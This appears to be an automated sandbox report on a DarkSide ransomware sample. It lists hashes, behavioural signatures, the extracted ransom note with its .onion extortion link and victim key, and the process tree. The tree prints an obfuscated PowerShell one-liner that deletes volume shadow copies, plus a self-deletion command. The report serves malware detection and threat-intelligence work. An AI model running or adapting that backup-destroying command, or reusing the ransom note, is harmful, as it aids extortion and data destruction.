Analysis

  • max time kernel
    108s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-05-2021 19:34

General

  • Target

    43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

  • Size

    59KB

  • MD5

    f9fc1a1a95d5723c140c2a8effc93722

  • SHA1

    ce2480dec2ee0a47549fad355c3cf154f9aab836

  • SHA256

    43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa

  • SHA512

    3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y When you open our website, put the following data in the input form: Key: k1xICnEwA8i4Exaf4zIjmEWUAK2JUsPppp7hmFIkcNOrmtfztXYRZSKEorEsHiVAg8gIcnQe7gLRyHyJg5knONhaC09HlFh6pr8Ze6Q8hGhKCm2s2OSBStASleEhgnzUaPkJzRNcaENVKONFOZjCg10YHEjNrfuE8JawoVmpQrws6XsdgiXD2E0D1VwxTCAMsDjMY7tpNOgBqY8NWoFYIWhkEoCDjp52OTKNCZfBSR3uinUDqXkUMApbz6JQ00VdTlJqjBH4QS7o73lU2Vtbr7CkQR9q5nXYLlgMKZUNiH4p0dWISOfEHmJWaWIeK1xkMIqqeao5CMf9enqc3xAG4zfW3iaUEQBwS0cDkv2aQCPFHARd71L9sZAtjcedVolkwYUqnBA9HiZRzoX7CmyX1D99XvN4HCzUmSYm0Nzr3goQSB1obYAKoKomDRTtZpLnTblmRkQoYj4dOJFiiXEdA7OswuJUeavsdO8v2XFzweyVNRNLcFy0v6OtQtRxklvgLBy4zztKaiNz7WUBzS2J5HlC7gwpnLclBloh07Bz0AI0clGIWLZf6kb !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 17 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
    "C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL
      2⤵
      • Deletes itself
      PID:2856
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1244

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

    MD5

    7591dad916c8d4b26851f1302e9ac9d8

    SHA1

    7754aed5672b339ca23303b598197a793e499ee0

    SHA256

    7ba4f67fa12007a1bf7026583e611142225b75c869377e8a605ab5ccdfaa4f7d

    SHA512

    04393c9781b9bea5d53ffa3f8850b686191b0264965fff235ad6cea9c0e53ea95355b39dbafa052fac1fd61fa7c819e47cc884ec0d850524c55fd39b32a8e1d2

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    MD5

    b68f2892a1d0e30eb1d638d345e39611

    SHA1

    b73ff448cbb5bcacb85b92fed3a52eb03439bc66

    SHA256

    60d45410ab42efe3678fe7d9f2f98b8416bc3debaf3df955ddee02f649c60f7b

    SHA512

    e7c074bec7be25ac006f50e5f8403e3d07aa4c40419ea18c3363579ca0554def7e866aad4a55d6326b2f90320250696cf49a2b22c84f9f19eb7ea4d85b03fd7e

  • memory/788-66-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

    Filesize

    8KB

  • memory/788-63-0x0000000002050000-0x0000000002051000-memory.dmp

    Filesize

    4KB

  • memory/788-64-0x000000001AB70000-0x000000001AB71000-memory.dmp

    Filesize

    4KB

  • memory/788-65-0x0000000002490000-0x0000000002491000-memory.dmp

    Filesize

    4KB

  • memory/788-67-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

    Filesize

    8KB

  • memory/788-68-0x0000000002120000-0x0000000002121000-memory.dmp

    Filesize

    4KB

  • memory/788-69-0x000000001C3B0000-0x000000001C3B1000-memory.dmp

    Filesize

    4KB

  • memory/788-70-0x000000001AA60000-0x000000001AA61000-memory.dmp

    Filesize

    4KB

  • memory/788-62-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

    Filesize

    8KB

  • memory/788-61-0x0000000000000000-mapping.dmp

  • memory/1088-60-0x0000000075281000-0x0000000075283000-memory.dmp

    Filesize

    8KB

  • memory/2856-73-0x0000000000000000-mapping.dmp